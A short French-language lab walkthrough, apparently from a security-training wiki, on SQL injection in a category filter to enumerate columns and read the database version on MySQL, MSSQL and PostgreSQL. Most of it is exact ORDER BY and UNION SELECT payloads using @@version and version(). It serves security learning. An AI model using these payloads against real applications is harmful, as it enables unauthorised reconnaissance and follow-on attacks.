Identification du SGBD et de sa version (MySQL / MSSQL / PostgreSQL)
SQL injection attack, querying the database type and version on MySQL and Microsoft
Contexte / vulnérabilité : filtre
categoryvulnérable à l’injection SQL; l’application concatène la valeur utilisateur dans la clauseWHERE. UtiliserORDER BY/UNIONpermet d’énumérer le nombre de colonnes puis d’extraire une valeur de version.But : afficher la chaîne de version du SGBD.
Méthodologie rapide :
Déterminer le nombre de colonnes : Payload :
' ORDER BY 2-- - ' ORDER BY 3-- -(incrémenter l’indice jusqu’à provoquer une erreur pour trouver le nombre exact de colonnes).
Valider UNION (choisir un
UNION SELECTavec le même nombre de colonnes) : Exemple minimal 2 colonnes :' UNION SELECT '1','2'-- -Récupérer la version — utiliser la fonction/variable adaptée au moteur.
Payloads ciblés (exacts) :
Microsoft SQL Server (MSSQL) — variable système :
@@version' UNION SELECT '1', @@version-- -MySQL — fonction :
version()(ou variable@@version)' UNION SELECT '1', version()-- - ' UNION SELECT '1', @@version-- -PostgreSQL — fonction :
version()' UNION SELECT '1', version()-- -
Adapter le nombre de colonnes et l’ordre des colonnes selon la requête vulnérable (ex. UNION SELECT NULL, version() si types différents). Utiliser NULL pour colonnes dont le type ne doit pas correspondre si nécessaire.
Interprétation : la page affichera la chaîne renvoyée par
@@version/version()(ex.Microsoft SQL Server 2019 (RTM) - 15.x...,5.7.33-0ubuntu0.18.04.1,PostgreSQL 13.3 on x86_64-...), permettant le fingerprinting du SGBD.Impact : information disclosure utile pour cibler des exploits spécifiques à la version, augmentation du risque d’attaques postérieures.
Mis à jour
Ce contenu vous a-t-il été utile ?